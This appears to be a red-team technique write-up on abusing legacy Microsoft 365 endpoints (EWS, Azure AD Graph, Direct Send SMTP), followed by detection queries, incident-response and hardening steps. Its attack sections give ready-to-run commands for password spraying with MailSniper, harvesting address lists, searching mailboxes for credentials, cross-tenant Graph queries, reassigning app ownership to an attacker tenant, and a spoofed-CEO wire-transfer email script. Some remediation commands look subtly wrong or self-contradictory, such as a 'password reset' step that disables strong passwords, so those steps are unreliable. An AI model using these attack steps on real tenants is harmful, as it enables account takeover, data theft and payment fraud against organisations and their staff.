| Attribute | Details |
|---|---|
| Technique ID | IA-EXPLOIT-006 |
| MITRE ATT&CK v18.1 | T1190 - Exploit Public-Facing Application |
| Tactic | Initial Access |
| Platforms | M365 (Exchange Online), Entra ID, Office 365 |
| Severity | Critical |
| CVE | CVE-2025-55241 (Azure AD Graph cross-tenant), N/A (design flaws) |
| Technique Status | ACTIVE (Many legacy endpoints still functional despite deprecation) |
| Last Verified | 2025-12-30 |
| Affected Versions | All M365 tenants with legacy protocols enabled (default) |
| Patched In | Disabled by policy (not automatic); Azure AD Graph fully deprecated Sept 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No specific Atomic test for M365 legacy API abuse, (2) Cloud-native endpoint without local system instrumentation. All section numbers have been dynamically renumbered based on applicability.
Concept: Microsoft 365 organizations continue to expose multiple legacy API endpoints that were designed before modern security standards (MFA, Conditional Access, API logging) became standard. These include Exchange Web Services (EWS), Azure AD Graph, Office 365 Management API, and Direct Send SMTP. Despite deprecation announcements spanning years, these endpoints remain active and largely unauthenticated—allowing attackers to bypass MFA, extract sensitive data without detection, and impersonate legitimate services. The recent CVE-2025-55241 discovery revealed that the Azure AD Graph API lacks proper tenant validation, enabling attackers to compromise ANY Entra ID tenant in the world using service-to-service tokens.[146][147][148]
Attack Surface: EWS endpoints (mail.domain.com/ews), Azure AD Graph (graph.windows.net), Office 365 Management API, Direct Send SMTP relay, NTLM Autodiscover, legacy MAPI/POP/IMAP ports, undocumented API endpoints.
Business Impact: Complete email compromise without detection (EWS bypasses MFA), tenant-wide compromise via cross-tenant Azure AD Graph exploitation, credential harvesting at scale via password spraying, phishing relay campaigns, business email compromise. Midnight Blizzard leveraged EWS to target Microsoft’s own corporate email system.[146]
Technical Context: Legacy API exploitation is often invisible to security monitoring—EWS access generates no audit logs, Azure AD Graph access was completely unauthenticated, Direct Send appears as legitimate email traffic. Attackers use MailSniper, a widely available PowerShell tool, to spray passwords against EWS (9,000+ users in 9 minutes) or extract Global Address Lists (4,000+ emails in 10 seconds). These attacks remain undetectable without deep API content inspection or legacy authentication protocol monitoring.[147][166]
| Framework | Control / ID | Description |
|---|---|---|
| CIS Microsoft 365 | 1.1.1 | Block legacy authentication in Conditional Access |
| CIS Microsoft 365 | 1.4.1 | Disable legacy authentication protocols (SMTP AUTH, POP, IMAP) |
| NIST 800-53 | AC-3 | Access Enforcement (legacy auth bypasses controls) |
| NIST 800-53 | AC-6 | Least Privilege (legacy protocols = unrestricted access) |
| GDPR | Art. 32 | Security of Processing (inadequate auth mechanisms) |
| PCI DSS | 2.2 | Change defaults; disable unnecessary services |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27001 | A.14.2.1 | System hardening and endpoint configuration |
Supported Versions:
Tools:
# Test EWS endpoint accessibility
curl -sk https://mail.domain.com/EWS/Exchange.asmx
# Expected vulnerable response (200 OK):
# <?xml version="1.0"?>
# <soap:Envelope xmlns:soap="...">
# <soap:Body>
# <m:GetServerTime RequestServerVersion="Exchange2013">
# ...
# Test if EWS accepts basic authentication (no OAuth)
curl -sk -u username:password https://mail.domain.com/EWS/Exchange.asmx
# Test Azure AD Graph access (deprecated but still active)
curl -X GET \
-H "Authorization: Bearer <TOKEN>" \
https://graph.windows.net/myorganization/users?api-version=1.6
# Test Office 365 Management API
curl -X GET \
-H "Authorization: Bearer <TOKEN>" \
https://manage.office.com/api/v1.0/subscriptions
# Test Direct Send SMTP
telnet smtp.office365.com 25
# Send email without authentication (if enabled)
# Download and run MFASweep to detect MFA gaps
git clone https://github.com/dafthack/MFASweep
cd MFASweep
powershell -ep bypass
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password password123
# MFASweep will test:
# - Outlook Web Access (OWA) - MFA protected?
# - Exchange Web Services (EWS) - MFA protected?
# - Office 365 Management API - MFA protected?
# - Teams - MFA protected?
# - SharePoint - MFA protected?
Expected Output (Vulnerable):
OWA: MFA ENABLED (2FA required)
EWS: MFA NOT ENFORCED (Basic auth accepted)
Teams: MFA ENABLED
>> EWS is a MFA bypass vector!
# Connect to Exchange Online
Connect-ExchangeOnline
# Check current legacy authentication settings
Get-OrganizationConfig | Select-Object -Property OAuth2ClientProfileEnabled
# List users currently using legacy protocols (requires Entra P1/P2)
Get-AzureADUser -All $true | Where-Object {$_.DeviceOsType -eq "Android" -or $_.DeviceOsType -eq "iOS"} | Get-MobileDeviceStatistics | Where-Object {$_.UserAgent -match "IMAP|POP|SMTP"}
# Alternative: Check Sign-in Logs
# Azure Portal → Entra ID → Sign-in logs → Filter by ClientAppUsed = "POP", "IMAP", "SMTP", "MAPI", "EWS"
Supported Versions: All Exchange Online versions
Objective: Locate externally accessible EWS endpoint
Command (Subdomain Enumeration):
# Subdomain enumeration to find EWS endpoint
curl -s "https://mail.domain.com/EWS/Exchange.asmx" -I
# Common EWS locations:
# https://mail.domain.com/EWS/Exchange.asmx
# https://domain.com/ews/Exchange.asmx
# https://outlook.domain.com/ews/Exchange.asmx
# https://exchange.domain.com/ews/Exchange.asmx
# If found (200 OK), EWS is accessible
Command (Via Shodan/Search Engines):
# Search for exposed EWS endpoints
shodan search "ews/exchange.asmx"
site:domain.com EWS
# OR brute-force common subdomains
for subdomain in mail exchange outlook owa; do
curl -s "https://${subdomain}.domain.com/EWS/Exchange.asmx" -o /dev/null && echo "Found: ${subdomain}.domain.com"
done
Objective: Discover valid credentials using password spraying (avoids lockout)
Command (MailSniper Setup):
# Download MailSniper
git clone https://github.com/dafthack/MailSniper
cd MailSniper
powershell -ep bypass
Import-Module .\MailSniper.ps1
# Password spray against EWS endpoint
$passwords = @("Fall2024", "Winter2024", "Password123!", "Company2024")
$userlist = Get-Content users.txt # Pre-compiled list of valid usernames
# Invoke password spray (multi-threaded)
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com `
-UserList $userlist `
-Passwords $passwords `
-Threads 15 `
-OutFile valid_creds.txt
# Expected output:
# [+] Valid credentials found!
# user1@domain.com:Fall2024
# user2@domain.com:Winter2024
# user15@domain.com:Password123!
Expected Behavior:
OpSec & Evasion:
Troubleshooting:
401 Unauthorized
403 Forbidden
Objective: Obtain all organization email addresses for further targeting
Command (MailSniper - FindPeople Function):
# Extract GAL from OWA using valid credentials
Get-GlobalAddressList -ExchHostname mail.domain.com `
-UserName user1@domain.com `
-Password Fall2024 `
-OutFile gal.txt
# Output contains 4,000+ email addresses in seconds
# Format: user@domain.com, user@domain.com, ...
# Use extracted GAL for:
# - Further password spraying
# - Phishing target selection
# - Executive/admin identification
# - Social engineering
Expected Output:
[*] Using EWS URL https://mail.domain.com/EWS/Exchange.asmx
[+] Using Exchange version Exchange2013
[+] Successfully connected to Exchange
[*] Extracting Global Address List
[+] Found 4,282 email addresses
[+] Saving GAL to gal.txt
What This Means:
Objective: Extract emails containing credentials, secrets, or sensitive keywords
Command (MailSniper - Inbox Search):
# Search target mailbox for sensitive keywords
Invoke-SelfSearch -Mailbox user1@domain.com `
-ExchHostname mail.domain.com `
-Terms @("password", "creds", "credentials", "secret", "api_key", "admin") `
-OutputPath exfiltrated_emails.csv
# When prompted for credentials, enter the compromised user's password
# PowerShell will open interactive session and search mailbox
# Alternative: Global search (if attacker has higher privileges)
Invoke-GlobalMailSearch -ExchHostname mail.domain.com `
-Terms @("password", "admin", "credentials", "vpc", "config") `
-ExchangeVersion Exchange2013 `
-OutputPath all_org_emails.csv
Expected Output:
[*] Searching mailbox: user1@domain.com
[*] Found 47 emails containing search terms
[*] Email 1: From: admin@domain.com
Subject: [URGENT] Password Reset - use: Admin@2024!
[*] Email 2: From: devops@domain.com
Subject: AWS_KEY_ID=AKIA123456789ABC
[*] Email 3: From: database@domain.com
Subject: DB Credentials - Prod: user=admin, password=SecureDB#999
[+] Saving all emails to all_org_emails.csv
What This Means:
Supported Versions: All Entra ID tenants (vulnerable until manual remediation)
Objective: Extract or forge S2S token that bypasses tenant validation
Vulnerability Context: Azure AD Graph API does not validate token originating tenant[148]
Command (Token Extraction):
# If attacker has compromised a service principal or has access to a legitimate application:
# The actor token (undocumented S2S token) can be extracted from:
# 1. Intercepted API requests
# 2. Application configuration files
# 3. Compromised code repositories (GitHub secrets)
# Example: Token in leaked appsettings.json
cat appsettings.json | grep -i "token\|secret\|key"
# Look for patterns like:
# "ActorToken": "eyJ0eXAiOiJKV1QiLCJhbGc..."
# "ServicePrincipalCredential": "..."
Command (Token Validation):
# Decode JWT token to verify contents
echo "eyJ0eXAiOiJKV1QiLCJhbGc..." | base64 -d | jq .
# Expected payload:
# {
# "aud": "https://graph.windows.net",
# "iss": "https://sts.windows.net/[TENANT_ID]",
# "actor": "system:service-principal",
# "iat": 1735689600,
# "exp": 1735693200
# }
Objective: Access another organization’s Entra ID data using compromised token
Command (Cross-Tenant Access):
# Using the compromised S2S token, query a target tenant
# Note: No tenant ID required in URL; token grants access to any tenant
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/users?api-version=1.6
# Response contains ALL users in target tenant:
# {
# "value": [
# {
# "objectId": "12345678-1234-1234-1234-123456789012",
# "userPrincipalName": "admin@targetcompany.com",
# "displayName": "Target Admin",
# "mail": "admin@targetcompany.com"
# },
# ...
# ]
# }
# Query groups and role assignments
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/groups?api-version=1.6
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/me/memberOf?api-version=1.6
# Extract all cloud apps and service principals
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/servicePrincipals?api-version=1.6
Expected Output:
{
"value": [
{
"appId": "12345678-1234-1234-1234-123456789012",
"displayName": "Target Org Cloud App",
"appOwnerTenantId": "[TARGET_TENANT]",
"servicePrincipalType": "Application",
"appRoleAssignmentRequired": false
}
]
}
What This Means:
Objective: Grant attacker ownership of high-privilege applications
Command (Application Ownership Modification):
# Query for cloud applications with administrative roles
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/appRoleAssignments?api-version=1.6 \
| grep -E "Directory.ReadWrite.All|User.ReadWrite.All|Application.ReadWrite.All"
# If attacker has sufficient permissions, modify app ownership:
curl -X PATCH \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
-H "Content-Type: application/json" \
https://graph.windows.net/[TARGET_TENANT]/servicePrincipals/[APP_ID]?api-version=1.6 \
-d '{
"appOwnerTenantId": "[ATTACKER_TENANT]",
"owners": ["[ATTACKER_SERVICE_PRINCIPAL]"]
}'
# Attacker now owns cloud app; can:
# - Modify application permissions
# - Issue credentials for impersonation
# - Access all resources the app can access
Impact:
Supported Versions: All Exchange Online tenants with Direct Send enabled
Objective: Send email appearing to originate from legitimate internal sender
Command (PowerShell):
# Configure SMTP connection (no authentication)
$smtpServer = "smtp.office365.com"
$smtpPort = 25 # Or 587
# Create email message
$from = "ceo@targetcompany.com" # Spoofed sender (internal domain)
$to = "victim@external.com"
$subject = "[URGENT] Wire Transfer Approval Required"
$body = @"
Please approve immediate wire transfer of $500,000 to:
Account: [ATTACKER_BANK_ACCOUNT]
Reference: Project-XYZ-Confidential
This is time-sensitive. Confirm receipt.
- CEO
"@
# Send via Direct Send SMTP
$smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtp.EnableSSL = $true
$msg = New-Object System.Net.Mail.MailMessage($from, $to, $subject, $body)
$smtp.Send($msg)
Write-Host "[+] Spoofed email sent from $from to $to"
Command (curl Alternative):
# Send via SMTP protocol directly
curl --url "smtp://smtp.office365.com:25" \
--mail-from "ceo@targetcompany.com" \
--mail-rcpt "victim@external.com" \
--upload-file email.txt
Expected Behavior:
Impact:
Rule Configuration:
o365_exchange, microsoft_365_audito365:exchange:audit, microsoft365:exchange:logOperation, UserAgent, ClientIP, ResultStatusSPL Query:
sourcetype="o365:exchange:audit"
Operation IN ("ExternalIdentityProviderSignInSuccess", "UserLoggedIn")
ClientIP!=*
UserAgent="MailSniper*" OR UserAgent="Ruler*" OR ClientIP IN (residential_proxy_ranges)
| stats count as AuthAttempts by ClientIP, UserAgent, AffectedUser
| where AuthAttempts > 10
| search AuthAttempts > 10
What This Detects:
Rule Configuration:
azure_activityazure:graphapi:auditOperationName, TargetResources, CallerIpAddressSPL Query:
sourcetype="azure:graphapi:audit"
endpoint="graph.windows.net"
OR url contains "graph.windows.net"
| stats count by CallerIpAddress, endpoint, OperationName
| where count > 0
What This Detects:
Rule Configuration:
SigninLogs, AuditLogsClientAppUsed, AuthenticationProtocol, ResultType, IPAddressKQL Query:
SigninLogs
| where ClientAppUsed in ("Exchange Web Services", "SMTP", "POP", "IMAP")
and ResultType contains "Failure" or ResultType contains "MFADenied"
| extend SourceIP = IPAddress
| summarize FailureCount = count() by SourceIP, ClientAppUsed, UserPrincipalName
| where FailureCount > 10
| project SourceIP, ClientAppUsed, UserPrincipalName, FailureCount
What This Detects:
Manual Configuration (Azure Portal):
Legacy API (EWS/SMTP) Authentication Failures - Potential Password SprayHigh5 minutes1 hourRule Configuration:
AuditLogs, CloudAppEventsOperationName, AppDisplayName, ResultDescriptionKQL Query:
AuditLogs
| where OperationName contains "Azure AD Graph"
or TargetResources contains "graph.windows.net"
| extend TenantIdFromEndpoint = extract(@"graph.windows.net/([a-z0-9-]+)", 1, tostring(TargetResources))
| where TenantIdFromEndpoint != InitiatedByAppName
| summarize AccessCount = count() by InitiatedByAppName, TenantIdFromEndpoint, OperationName
| where AccessCount > 0 or TenantIdFromEndpoint != ""
What This Detects:
Alert Name: “Legacy Authentication Protocol Detected (EWS/SMTP/POP/IMAP)”
Alert Name: “Suspicious Azure AD Graph API Access Detected”
Manual Configuration (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Cloud Apps Security
Command (Disable Compromised Account):
# Disable user account immediately
Disable-AzureADUser -ObjectId user1@domain.com
# Revoke all sessions
Connect-ExchangeOnline
Remove-PSSession $ExchangeSession
# Reset password (force sign-out)
Set-AzureADUserPassword -ObjectId user1@domain.com -Password (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -EnforceChangePasswordPolicy $true
Command (Block Legacy Authentication):
# Immediately block the legacy protocol on the account
Set-CASMailbox -Identity user1@domain.com -PopEnabled $false -ImapEnabled $false -MAPIEnabled $false -ActiveSyncEnabled $false -SmtpClientAuthenticationDisabled $true
Command (Export EWS Activity):
# Export mailbox audit logs to identify what was accessed
Search-MailboxAuditLog -Identity user1@domain.com -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -Operations Copy, Move, MoveToDeletedItems, SoftDelete, HardDelete | Export-CSV -Path ews_audit.csv
# Export sign-in logs showing legacy auth usage
Get-AzureADUser -ObjectId user1@domain.com | Get-MobileDeviceStatistics | Export-Csv device_logs.csv
Command (Identify Exfiltrated Data):
# Check mailbox forwarding rules (persistence mechanism)
Get-InboxRule -Mailbox user1@domain.com | Where-Object {$_.ForwardTo -ne $null}
# Check for deleted emails (may indicate cover-up)
Search-MailboxAuditLog -Identity user1@domain.com -Operations HardDelete, SoftDelete | Select-Object UserLastName, Operation, MailboxOwnerUPN, ItemSubject
Command (Full Account Remediation):
# 1. Revoke all refresh tokens (sign out all sessions)
Revoke-AzureADUserAllRefreshToken -ObjectId user1@domain.com
# 2. Remove suspicious OAuth consents
Get-AzureADUser -ObjectId user1@domain.com | Get-AzureADUserOAuth2PermissionGrant | Remove-AzureADOAuth2PermissionGrant
# 3. Re-enable with modern auth only
Set-CASMailbox -Identity user1@domain.com -PopEnabled $false -ImapEnabled $false -MAPIEnabled $false -SmtpClientAuthenticationDisabled $true -OWAEnabled $true
# 4. Force password reset on next login
Set-AzureADUser -ObjectId user1@domain.com -PasswordPolicies "DisablePasswordExpiration, DisableStrongPassword"
1. Disable All Legacy Authentication Protocols
Manual Steps (Microsoft 365 Admin Center):
Manual Steps (PowerShell - Tenant-Wide):
# Connect to Exchange Online
Connect-ExchangeOnline
# Disable legacy auth globally
Set-OrganizationConfig -OAuth2ClientProfileEnabled $true
# Disable specific protocols
Set-OrganizationConfig -ImapEnabled $false
Set-OrganizationConfig -PopEnabled $false
Set-OrganizationConfig -SmtpClientAuthenticationDisabled $true
Set-OrganizationConfig -ActiveSyncEnabled $false
Set-OrganizationConfig -OwaClientAuthenticationMethod Modern
# Verify settings
Get-OrganizationConfig | Select-Object -Property OAuth2ClientProfileEnabled, ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled
Manual Steps (Conditional Access - Block Legacy Auth):
Validation Command:
# Verify legacy protocols are disabled
Get-OrganizationConfig | Select-Object ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled
# Expected output (all should be False/Disabled):
# ImapEnabled : False
# PopEnabled : False
# SmtpClientAuthenticationDisabled : True
2. Block Azure AD Graph API (graph.windows.net)
Manual Steps (Entra ID):
graph.windows.netUpdate-MgDirectory -BlockAzureADGraphAccess $true
Manual Steps (PowerShell - Block Legacy Graph):
# Block all Azure AD Graph API access tenant-wide
Update-MgServicePrincipal -ServicePrincipalId "00000002-0000-0000-c000-000000000000" -AccountEnabled $false
# Verify:
Get-MgServicePrincipal -ServicePrincipalId "00000002-0000-0000-c000-000000000000" | Select-Object DisplayName, AccountEnabled
3. Disable Direct Send SMTP
Manual Steps (Exchange Online):
# Disable unauthenticated Direct Send
Set-TransportConfig -SmtpClientAuthenticationDisabled $true
# Require authenticated SMTP instead
Set-TransportConfig -SmtpClientAuthenticationDisabled $false
# Create transport rule to block spoofing
New-TransportRule -Name "Block Direct Send Spoofing" `
-SenderAddressLocation "Header" `
-FromAddressMatchesRecipientDomain $true `
-SetAuditSeverity High `
-RejectMessageReasonText "Direct Send spoofing detected"
4. Enable Conditional Access for Legacy Auth Detection
Manual Steps:
# Get legacy auth sign-ins daily
Get-SignInLogs -Filter "clientAppUsed in ('POP', 'IMAP', 'SMTP', 'MAPI', 'EWS')" -Top 10
5. Monitor Legacy Authentication Usage
Manual Steps (Sign-in Logs):
Validation Command (Verify Mitigations):
# Test that legacy auth is blocked
$creds = New-Object System.Management.Automation.PSCredential("user@domain.com", (ConvertTo-SecureString "password" -AsPlainText -Force))
# This should FAIL if legacy auth is disabled:
$mailbox = Get-Mailbox -Identity user@domain.com -Credential $creds
# Expected error (if properly hardened):
# "AuthenticationProtocol: Modern authentication required"
# Verify modern auth works:
Connect-ExchangeOnline -UserPrincipalName user@domain.com
# This should succeed with modern interactive auth
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [T1589 - Gather Victim Identity Info] | Enumerate domain, discover EWS endpoint |
| 2 | Initial Access | [IA-EXPLOIT-006] | Legacy API (EWS, Azure AD Graph, Direct Send) Abuse |
| 3 | Credential Access | [T1110.003 - Brute Force: Password Spray] | MailSniper spray against EWS endpoint |
| 4 | Collection | [T1114.002 - Email Collection] | Extract GAL, search for sensitive keywords in emails |
| 5 | Lateral Movement | [T1550.001 - Use Alternate Authentication] | Use stolen credentials for lateral movement |
| 6 | Exfiltration | [T1537 - Transfer Data to Cloud Account] | Exfiltrate emails to attacker account |
| 7 | Impact | [T1583 - Acquire Infrastructure] | Establish BEC campaign using Direct Send |
graph.windows.net) lacks tenant validation